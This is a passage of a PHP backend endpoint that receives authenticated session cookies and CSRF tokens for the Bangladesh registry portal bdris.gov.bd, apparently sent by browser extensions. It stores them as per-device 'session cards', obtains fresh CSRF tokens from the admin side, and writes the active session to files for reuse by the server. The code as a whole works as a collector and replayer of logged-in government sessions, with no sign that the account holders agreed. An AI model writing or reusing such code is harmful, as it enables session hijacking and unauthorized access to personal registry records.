    if ($senderVal === '') $senderVal = $extractJsonString('senderName');
    if ($senderVal === '') $senderVal = $extractJsonString('deviceName');
    if ($senderVal !== '') $maybe['sender_name'] = $senderVal;
    $csrfVal = $extractJsonString('csrf_token');
    if ($csrfVal === '') $csrfVal = $extractJsonString('csrfToken');
    if ($csrfVal !== '') $maybe['csrf_token'] = $csrfVal;
    $uaVal = $extractJsonString('userAgent');
    if ($uaVal !== '') $maybe['userAgent'] = $uaVal;

    if (!empty($maybe)) $input = $maybe;
}

// Fallback to $_POST if JSON decode fails or is empty
if (empty($input) && !empty($_POST)) {
    $input = $_POST;
} else if (empty($input) && $rawTrim !== '') {
    // Try to parse x-www-form-urlencoded manually if it came as raw string but not in $_POST
    parse_str($rawTrim, $parsed);
    if (!empty($parsed)) {
        $input = $parsed;
    }
}

if (is_array($input)) {
    foreach (['payload', 'data', 'session', 'sessionData', 'result'] as $k) {
        if (isset($input[$k]) && is_array($input[$k])) {
            $input = array_merge($input[$k], $input);
        }
    }
}

if (is_array($input)) {
    foreach (['csrfToken', 'csrf', '_csrf'] as $k) {
        if (!isset($input['csrf_token']) && isset($input[$k]) && is_string($input[$k])) {
            $input['csrf_token'] = $input[$k];
        }
    }
}
if (is_array($input)) {
    foreach (['x-csrf-token', 'x_csrf_token', 'x-xsrf-token', 'x_xsrf_token', 'xsrf-token', 'xsrf_token'] as $k) {
        if (!isset($input['csrf_token']) && isset($input[$k]) && is_string($input[$k])) {
            $input['csrf_token'] = $input[$k];
        }
    }
    if (!isset($input['csrf_token']) && isset($input['headers']) && is_array($input['headers'])) {
        foreach ($input['headers'] as $hk => $hv) {
            if (!is_string($hk)) continue;
            $lk = strtolower(trim($hk));
            if ($lk === 'x-csrf-token' || $lk === 'x-xsrf-token' || $lk === 'xsrf-token') {
                if (is_string($hv) && trim($hv) !== '') {
                    $input['csrf_token'] = $hv;
                    break;
                }
            }
        }
    }
}

$getHeaderValue = function(array $names): string {
    $names = array_values(array_filter(array_map(static fn($v) => is_string($v) ? trim($v) : '', $names)));
    if (!$names) return '';
    $map = [];
    if (function_exists('getallheaders')) {
        $h = getallheaders();
        if (is_array($h)) {
            foreach ($h as $k => $v) {
                if (!is_string($k)) continue;
                $map[strtolower(trim($k))] = is_scalar($v) ? (string)$v : '';
            }
        }
    }
    foreach ($names as $n) {
        $ln = strtolower($n);
        if (isset($map[$ln]) && trim($map[$ln]) !== '') return trim($map[$ln]);
        $sn = 'HTTP_' . strtoupper(str_replace('-', '_', $n));
        if (isset($_SERVER[$sn]) && is_string($_SERVER[$sn]) && trim($_SERVER[$sn]) !== '') return trim((string)$_SERVER[$sn]);
    }
    return '';
};

if (!isset($input['cookie_string']) && !isset($input['cookies']) && !isset($input['cookieString']) && !isset($input['cookie_header']) && !isset($input['cookieHeader'])) {
    $hv = $getHeaderValue(['cookie_string', 'cookieString', 'cookies', 'cookie', 'cookie-header', 'cookie_header', 'cookieHeader', 'x-cookie', 'x-cookie-string']);
    if ($hv !== '') $input['cookie_string'] = $hv;
}

if (isset($input['cookies']) || isset($input['cookie_string']) || isset($input['cookieString']) || isset($input['cookie']) || isset($input['cookie_header']) || isset($input['cookieHeader']) || isset($input['cookieText']) || isset($input['cookieStr'])) {
    // Determine the cookie content
    $cookieString = '';
    
    $cookieCandidates = ['cookie_string_all', 'cookieStringAll', 'cookie_string_main', 'cookieStringMain', 'cookie_string', 'cookieString', 'cookie', 'cookie_header', 'cookieHeader', 'cookieText', 'cookieStr'];
    foreach ($cookieCandidates as $k) {
        if (isset($input[$k]) && is_string($input[$k]) && trim($input[$k]) !== '') {
            $cookieString = $input[$k];
            break;
        }
    }

    if ($cookieString === '' && isset($input['cookies'])) {
        $cookies = $input['cookies'];
        if (is_string($cookies)) {
            $cookieString = $cookies;
        } elseif (is_array($cookies)) {
            foreach ($cookieCandidates as $k) {
                if (isset($cookies[$k]) && is_string($cookies[$k]) && trim($cookies[$k]) !== '') {
                    $cookieString = $cookies[$k];
                    break;
                }
            }
            if ($cookieString === '') {
                foreach ($cookies as $key => $val) {
                    if (is_array($val) && isset($val['name']) && isset($val['value'])) {
                        $name = (string)$val['name'];
                        $value = (string)$val['value'];
                        $cookieString .= $name . '=' . $value . '; ';
                    } elseif (!is_numeric($key)) {
                        $cookieString .= $key . '=' . $val . '; ';
                    }
                }
            }
        }
    }

    if ($cookieString === '' && isset($input['cookie_string']) && is_string($input['cookie_string'])) {
        $cookieString = $input['cookie_string'];
    }

    if (looksNetscapeCookieFile((string)$cookieString)) {
        $cookieString = netscapeCookieTextToCookieString((string)$cookieString, 'bdris.gov.bd');
    }
    $cookieString = cleanupCookieHeader((string)$cookieString);
    if (isset($input['cookie_string_main']) && is_string($input['cookie_string_main'])) {
        $cookieStringMain = cleanupCookieHeader((string)$input['cookie_string_main']);
    } elseif (isset($input['cookieStringMain']) && is_string($input['cookieStringMain'])) {
        $cookieStringMain = cleanupCookieHeader((string)$input['cookieStringMain']);
    }
    if (isset($input['cookie_string_all']) && is_string($input['cookie_string_all'])) {
        $cookieStringAll = cleanupCookieHeader((string)$input['cookie_string_all']);
    } elseif (isset($input['cookieStringAll']) && is_string($input['cookieStringAll'])) {
        $cookieStringAll = cleanupCookieHeader((string)$input['cookieStringAll']);
    }
    if ($cookieStringAll === '' && $cookieString !== '') $cookieStringAll = $cookieString;
    if ($cookieStringMain === '' && $cookieString !== '') $cookieStringMain = $cookieString;
    
    // Normalize format: Ensure SESSION= prefix if missing and looks like a session ID
    // Some extensions might send just the session ID value
    if (strpos($cookieString, '=') === false && strlen($cookieString) > 20) {
        $cookieString = 'SESSION=' . $cookieString;
    }
    
    $cookieString = cleanupCookieHeader((string)$cookieString);

    if (strlen($cookieString) > 200000) {
        sendJson(['status' => 'error', 'message' => 'Cookie string too large'], 413);
    }
    
    // Ensure BDRIS required cookies are present or formatted if possible
    // This is a basic check/fix
    if (strpos($cookieString, 'SESSION=') !== false && strpos($cookieString, 'bdris_persist') === false) {
        // We can't invent bdris_persist, but we can ensure the string is clean
    }

    if (empty($cookieString)) {
        logDebug("empty_cookie id={$debugReqId}");
        sendJson(['status' => 'error', 'message' => 'Empty cookies provided'], 400);
    }

    if (stripos($cookieString, 'SESSION=') === false && stripos($cookieString, 'bdris_persist=') === false) {
        logDebug("no_session_cookie id={$debugReqId} cookie_len=" . strlen($cookieString));
        sendJson([
            'status' => 'success',
            'message' => 'No session cookie yet',
            'has_session' => false
        ]);
    }

    if (isset($input['csrf_token'])) {
        $csrfToken = $input['csrf_token'];
    }
    if (isset($input['csrf_header']) && is_string($input['csrf_header'])) {
        $csrfHeader = trim((string)$input['csrf_header']);
    }
    if ($csrfToken === null || $csrfToken === '') {
        foreach (['HTTP_X_CSRF_TOKEN', 'HTTP_X_XSRF_TOKEN', 'HTTP_XSRF_TOKEN', 'HTTP_CSRF_TOKEN'] as $hk) {
            if (isset($_SERVER[$hk]) && is_string($_SERVER[$hk]) && trim($_SERVER[$hk]) !== '') {
                $csrfToken = $_SERVER[$hk];
                break;
            }
        }
    }
    if ($csrfToken === null || $csrfToken === '') {
        $csrfFromCookie = $extractCookieValue($cookieString, ['XSRF-TOKEN', 'X-XSRF-TOKEN', 'CSRF-TOKEN', 'X_CSRF_TOKEN']);
        if ($csrfFromCookie !== '') {
            $csrfToken = $csrfFromCookie;
        }
    }
    
    // Capture User-Agent
    $userAgent = null;
    if (isset($input['userAgent'])) {
        $userAgent = $input['userAgent'];
    } elseif (isset($input['user_agent'])) {
        $userAgent = $input['user_agent'];
    } else {
        $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown Browser';
    }
    
    if (isset($input['acceptLanguage']) && is_string($input['acceptLanguage'])) {
        $acceptLanguage = trim((string)$input['acceptLanguage']);
    } elseif (isset($input['accept_language']) && is_string($input['accept_language'])) {
        $acceptLanguage = trim((string)$input['accept_language']);
    } else {
        $acceptLanguage = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? (string)$_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
    }

    if (isset($input['cookies']) && is_array($input['cookies'])) {
        $tmp = json_encode($input['cookies'], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
        if (is_string($tmp) && strlen($tmp) <= 900000) {
            $cookiesJson = $tmp;
        }
    }

    // =========================================================================
    // NEW SESSION IDENTITY & DUAL LOGIC: INSERT vs HEARTBEAT (v3.1)
    // =========================================================================

    // 1. Extract Core BDRIS Session Identifier (Token)
    $rawSessionId = '';
    if (preg_match('/(?:^|;\s*)SESSION=([^;]+)/i', (string)$cookieString, $m)) {
        $rawSessionId = trim(urldecode($m[1]));
    } elseif (preg_match('/(?:^|;\s*)bdris_persist=([^;]+)/i', (string)$cookieString, $m)) {
        $rawSessionId = trim(urldecode($m[1]));
    } elseif (isset($input['cookies']) && is_array($input['cookies'])) {
        foreach ($input['cookies'] as $ck) {
            if (isset($ck['name']) && strcasecmp($ck['name'], 'SESSION') === 0 && !empty($ck['value'])) {
                $rawSessionId = trim($ck['value']);
                break;
            }
        }
    }
    if ($rawSessionId === '') {
        $rawSessionId = md5(normalizeCookieString((string)$cookieString));
    }

    // 2. Compute Unique Session Fingerprint
    $csrfPart = ($csrfToken !== null && trim((string)$csrfToken) !== '') ? trim((string)$csrfToken) : '';
    $sessionFingerprint = substr(hash('sha256', $rawSessionId . '|' . $csrfPart), 0, 16);
    $shortFp = substr($sessionFingerprint, 0, 6);

    // 3. Determine Sender / PC Name
    $senderName = '';
    if (!empty($input['sender_name'])) {
        $senderName = trim((string)$input['sender_name']);
    } elseif (!empty($input['deviceName'])) {
        $senderName = trim((string)$input['deviceName']);
    } elseif (!empty($input['device_name'])) {
        $senderName = trim((string)$input['device_name']);
    } elseif (!empty($_SERVER['HTTP_SENDER_NAME'])) {
        $senderName = trim((string)$_SERVER['HTTP_SENDER_NAME']);
    } elseif (!empty($input['profile']) && $input['profile'] !== 'default') {
        $senderName = trim((string)$input['profile']);
    } else {
        $senderName = 'Firefox-160';
    }

    // Clean base profile key
    $cleanBase = preg_replace('/[^a-zA-Z0-9_-]/', '', str_replace([' ', '.'], ['-', ''], $senderName));
    if ($cleanBase === '' || strcasecmp($cleanBase, 'default') === 0 || strcasecmp($cleanBase, 'browser') === 0) {
        $cleanBase = 'Firefox-160';
    }

    // 4. Device ID
    $senderIp = !empty($senderIp) ? $senderIp : (isset($_SERVER['REMOTE_ADDR']) ? (string)$_SERVER['REMOTE_ADDR'] : '');
    $deviceIdInput = '';
    if (!empty($input['device_id']) && is_string($input['device_id'])) {
        $deviceIdInput = substr(preg_replace('/[^a-zA-Z0-9_-]/', '', $input['device_id']), 0, 40);
    } else {
        $deviceIdInput = 'dev_' . substr(md5($cleanBase . '|' . $senderIp), 0, 10);
    }

    $extVersion = '';
    if (isset($input['ext_version'])) {
        $extVersion = trim((string)$input['ext_version']);
    } elseif (isset($input['version'])) {
        $extVersion = trim((string)$input['version']);
    }

    $senderTs = 0;
    $senderTzOffset = 0;
    if (isset($input['sender_ts'])) {
        $senderTs = (int)$input['sender_ts'];
    } elseif (isset($input['ts'])) {
        $senderTs = (int)$input['ts'];
    }
    if ($senderTs > 2000000000000) {
        $senderTs = (int)floor($senderTs / 1000);
    } elseif ($senderTs > 2000000000) {
        $senderTs = (int)floor($senderTs / 1000);
    }
    if ($senderTs < 0) $senderTs = 0;
    if (isset($input['tz_offset'])) {
        $senderTzOffset = (int)$input['tz_offset'];
    } elseif (isset($input['tz_offset_min'])) {
        $senderTzOffset = (int)$input['tz_offset_min'];
    } elseif (isset($input['sender_tz_offset'])) {
        $senderTzOffset = (int)$input['sender_tz_offset'];
    }
    if ($senderTzOffset < -840) $senderTzOffset = -840;
    if ($senderTzOffset > 840) $senderTzOffset = 840;

    $cookiesDir = dirname(__DIR__) . '/cookies';
    if (!is_dir($cookiesDir)) {
        @mkdir($cookiesDir, 0755, true);
    }

    // 5. SCAN EXISTING SESSIONS TO DETECT: HEARTBEAT vs NEW SESSION
    $matchedProfile = null;
    $matchedFile = null;
    $matchedData = null;

    $allSessionFiles = glob($cookiesDir . '/cookie_data_*.json') ?: [];
    foreach ($allSessionFiles as $sFile) {
        $sRaw = @file_get_contents($sFile);
        if (!$sRaw) continue;
        $sData = json_decode($sRaw, true);
        if (!is_array($sData)) continue;

        $pKey = preg_replace(['/^cookie_data_/', '/\.json$/'], '', basename($sFile));
        if ($pKey === '' || $pKey === 'default') continue;

        $existSessionId = (string)($sData['session_id'] ?? '');
        $existFp = (string)($sData['session_fingerprint'] ?? '');
        $existCookieStr = (string)($sData['cookie_string'] ?? '');

        $isSameSession = false;
        if ($existFp !== '' && $existFp === $sessionFingerprint) {
            $isSameSession = true;
        } elseif ($existSessionId !== '' && $existSessionId === $rawSessionId) {
            $isSameSession = true;
        } elseif ($rawSessionId !== '' && strlen($rawSessionId) > 10) {
            if (stripos($existCookieStr, 'SESSION=' . $rawSessionId) !== false) {
                $isSameSession = true;
            }
        }

        if ($isSameSession) {
            $matchedProfile = $pKey;
            $matchedFile = $sFile;
            $matchedData = $sData;
            break;
        }
    }

    $now = time();
    $isNewSession = ($matchedProfile === null);
    $actionType = $isNewSession ? 'inserted' : 'heartbeat';

    if (!$isNewSession) {
        // SCENARIO 1: EXISTING SESSION -> HEARTBEAT UPDATE (NO DUPLICATE CARD)
        $profile = $matchedProfile;
        $cookieFile = $matchedFile;
        $prev = $matchedData;
        $insertedAt = (int)($prev['inserted_at'] ?? $prev['updated_at'] ?? $now);
        logDebug("heartbeat_detected profile={$profile} fp={$sessionFingerprint} sender={$senderName}");
    } else {
        // SCENARIO 2: NEW SESSION -> INSERT NEW SESSION CARD
        $insertedAt = $now;
        
        // Determine unique profile key for new card
        $targetKey = $cleanBase;
        $targetFile = $cookiesDir . "/cookie_data_{$targetKey}.json";

        if (!file_exists($targetFile)) {
            // First card for this name -> use cleanBase directly (e.g. Firefox-160)
            $profile = $targetKey;
        } else {
            // File already exists with a different session:
            // Check if that existing card is dead (> 24 hours without update)
            $existingData = @json_decode((string)@file_get_contents($targetFile), true);
            $existAge = $now - (int)($existingData['updated_at'] ?? 0);
            
            if ($existAge > 86400) {
                // Older than 24 hours -> archive it and take over cleanBase
                @copy($targetFile, $cookiesDir . "/archive_old/cookie_data_{$targetKey}_old.json");
                $profile = $targetKey;
            } else {
                // Existing card is active/recent -> append short fingerprint to create distinct card!
                $profile = $targetKey . '_' . $shortFp;
                if (file_exists($cookiesDir . "/cookie_data_{$profile}.json")) {
                    $profile = $targetKey . '_' . substr(md5($rawSessionId . time()), 0, 6);
                }
            }
        }

        $cookieFile = $cookiesDir . "/cookie_data_{$profile}.json";
        $prev = null;
        logDebug("new_session_inserted profile={$profile} fp={$sessionFingerprint} sender={$senderName}");
    }

    // 6. CSRF Fallback & Bootstrap Handling
    $cookieNormNow = normalizeCookieString((string)$cookieString);
    $cookieHasSession = (stripos($cookieNormNow, 'SESSION=') !== false || stripos($cookieNormNow, 'bdris_persist=') !== false);
    if ($csrfToken === null || trim((string)$csrfToken) === '') {
        $prevCsrf2 = is_array($prev) ? (string)($prev['csrf_token'] ?? '') : '';
        $prevHdr2 = is_array($prev) ? (string)($prev['csrf_header'] ?? '') : '';
        if ($prevCsrf2 !== '') {
            $csrfToken = $prevCsrf2;
            if ($csrfHeader === '' && $prevHdr2 !== '') $csrfHeader = $prevHdr2;
        }
    }
    $bootstrapHint = '';
    $bootstrapHttp = 0;
    if (($csrfToken === null || trim((string)$csrfToken) === '') && is_string($cookieString) && strlen($cookieString) > 20) {
        [$t, $h, $st, $hint, $cookieUpdated] = bootstrapCsrfFromBdrisAdmin((string)$cookieString, (string)$userAgent);
        $bootstrapHttp = (int)$st;
        $bootstrapHint = is_string($hint) ? $hint : '';
        if (isset($cookieUpdated) && is_string($cookieUpdated) && trim($cookieUpdated) !== '') {
            $cookieString = cleanupCookieHeader((string)$cookieUpdated);
        }
        if ($t !== null && trim((string)$t) !== '') {
            $csrfToken = $t;
            if ($csrfHeader === '' && $h !== null && trim((string)$h) !== '') $csrfHeader = (string)$h;
        }
    }

    // 7. Dedupe Skip for ultra-fast heartbeats (< 15 seconds with identical cookies)
    $prevCookie = is_array($prev) ? normalizeCookieString((string)($prev['cookie_string'] ?? '')) : '';
    $prevUpdated = is_array($prev) ? (int)($prev['updated_at'] ?? 0) : 0;
    if (!$isNewSession && $prevCookie === normalizeCookieString((string)$cookieString) && $prevUpdated > 0 && ($now - $prevUpdated) < 15) {
        sendJson([
            'status' => 'success',
            'action' => 'heartbeat',
            'is_new' => false,
            'message' => 'Heartbeat already up to date',
            'profile' => $profile,
            'sender_name' => $senderName,
            'has_csrf' => !empty($csrfToken)
        ]);
    }

    $lastStatus = 'active';
    if ($bootstrapHint === 'expired') $lastStatus = 'expired';
    elseif ($bootstrapHint === 'blocked') $lastStatus = 'blocked';

    $data = [
        'profile' => $profile,
        'sender_name' => $senderName,
        'device_id' => $deviceIdInput,
        'session_id' => $rawSessionId,
        'session_fingerprint' => $sessionFingerprint,
        'inserted_at' => $insertedAt,
        'updated_at' => $now,
        'last_seen' => $now,
        'cookie_string' => $cookieString,
        'cookie_string_main' => ($cookieStringMain !== '' ? $cookieStringMain : null),
        'cookie_string_all' => ($cookieStringAll !== '' ? $cookieStringAll : null),
        'extra_headers' => $extraHeaders ?? [],
        'csrf_token' => (($csrfToken === null || $csrfToken === '') ? null : (string)$csrfToken),
        'csrf_header' => $csrfHeader ?: 'X-CSRF-TOKEN',
        'user_agent' => $userAgent,
        'accept_language' => $acceptLanguage ?: '',
        'sender_ip' => $senderIp,
        'sender_ts' => $senderTs,
        'sender_tz_offset' => $senderTzOffset,
        'browser_name' => $profile,
        'csrf_bootstrap_at' => $now,
        'last_status' => $lastStatus,
        'last_status_checked' => $now,
        'csrf_bootstrap_http' => $bootstrapHttp,
        'csrf_bootstrap_hint' => $bootstrapHint,
        'cookies_json' => $cookiesJson,
        'ext_version' => $extVersion ?: '2.1.0',
        'is_new_session' => $isNewSession
    ];

    // Write JSON
    if (file_put_contents($cookieFile, json_encode($data, JSON_UNESCAPED_SLASHES), LOCK_EX)) {
        $kvRows = [];
        $kvRows[] = ['category' => 'session', 'k' => 'cookie_string', 'v' => (string)$data['cookie_string']];
        if (!empty($data['cookie_string_main'])) $kvRows[] = ['category' => 'session', 'k' => 'cookie_string_main', 'v' => (string)$data['cookie_string_main']];
        if (!empty($data['cookie_string_all'])) $kvRows[] = ['category' => 'session', 'k' => 'cookie_string_all', 'v' => (string)$data['cookie_string_all']];
        if (!empty($data['csrf_token'])) $kvRows[] = ['category' => 'token', 'k' => 'csrf_token', 'v' => (string)$data['csrf_token']];
        if (!empty($data['csrf_header'])) $kvRows[] = ['category' => 'header', 'k' => 'csrf_header', 'v' => (string)$data['csrf_header']];
        if (!empty($data['extra_headers']) && is_array($data['extra_headers'])) {
            foreach ($data['extra_headers'] as $hdr) {
                if (!is_array($hdr)) continue;
                $hk = isset($hdr['name']) ? trim((string)$hdr['name']) : '';
                $hv = isset($hdr['value']) ? trim((string)$hdr['value']) : '';
                if ($hk === '' || $hv === '') continue;
                $kvRows[] = ['category' => 'header', 'k' => $hk, 'v' => $hv];
            }
        }
        if (!empty($data['user_agent'])) $kvRows[] = ['category' => 'header', 'k' => 'user_agent', 'v' => (string)$data['user_agent']];
        if (!empty($data['accept_language'])) $kvRows[] = ['category' => 'header', 'k' => 'accept_language', 'v' => (string)$data['accept_language']];
        if (!empty($data['sender_ip'])) $kvRows[] = ['category' => 'meta', 'k' => 'sender_ip', 'v' => (string)$data['sender_ip']];
        if (!empty($data['sender_ts'])) $kvRows[] = ['category' => 'meta', 'k' => 'sender_ts', 'v' => (string)$data['sender_ts']];
        $kvRows[] = ['category' => 'meta', 'k' => 'sender_tz_offset', 'v' => (string)$data['sender_tz_offset']];
        if (!empty($data['ext_version'])) $kvRows[] = ['category' => 'meta', 'k' => 'ext_version', 'v' => (string)$data['ext_version']];
        if (!empty($cookiesJson)) $kvRows[] = ['category' => 'meta', 'k' => 'cookies_json', 'v' => (string)$cookiesJson];

        try {
            $row = $data;
            $row['profile'] = $profile;
            upsertSessionToDb(isset($pdo) ? $pdo : null, $row, $kvRows);
            // cleanupOldSessionsAndActivate এর পরিবর্তে autoActivateIfNone - অন্য কার্ড delete করে না
            // Auto-activate: if no active profile, or active profile is dead (>30m), activate this one
            $activeProfileFile = $cookiesDir . "/active_profile.txt";
            $currentActive = file_exists($activeProfileFile) ? trim((string)@file_get_contents($activeProfileFile)) : '';
            $shouldAutoActivate = false;
            if ($currentActive === '' || $currentActive === 'default' || $currentActive === $profile) {
                $shouldAutoActivate = true;
            } else {
                $actFile = $cookiesDir . "/cookie_data_{$currentActive}.json";
                if (!file_exists($actFile)) {
                    $shouldAutoActivate = true;
                } else {
                    $actD = @json_decode((string)@file_get_contents($actFile), true);
                    $actAge = time() - (int)($actD['updated_at'] ?? 0);
                    if ($actAge > 1800) { // older than 30 mins -> auto activate fresh one
                        $shouldAutoActivate = true;
                    }
                }
            }
            if ($shouldAutoActivate) {
                @file_put_contents($activeProfileFile, $profile);
                @file_put_contents(dirname($cookiesDir) . "/bdris_cookie.txt", $data['cookie_string']);
                if (!empty($data['csrf_token'])) {
                    @file_put_contents(dirname($cookiesDir) . "/bdris_csrf.txt", $data['csrf_token']);
                }
                logDebug("auto_active profile={$profile} cookie_len=" . strlen($data['cookie_string']));
            }
        } catch (\Throwable $e) {
        }
        logDebug("saved id={$debugReqId} profile={$profile} sender_name=" . trim((string)$senderName) . " sender_ip={$senderIp} cookie_len=" . strlen((string)$data['cookie_string']) . " has_csrf=" . (!empty($data['csrf_token']) ? '1' : '0') . " status={$lastStatus}");
        sendJson([
            'status' => 'success',
            'action' => $actionType,
            'is_new' => $isNewSession,
            'profile' => $profile,
            'sender_name' => $senderName,
            'has_csrf' => !empty($data['csrf_token']),
            'session_fingerprint' => $sessionFingerprint,
            'message' => $isNewSession ? 'New session card created' : 'Session heartbeat updated'
        ]);
    } else {
        logDebug("write_fail id={$debugReqId} file={$cookieFile}");
        sendJson(['status' => 'error', 'message' => 'Failed to save session file'], 500);
    }

} else {
    sendJson([
        'status' => 'success',
        'message' => 'No cookies provided',
        'has_session' => false
    ], 200);
}
?>
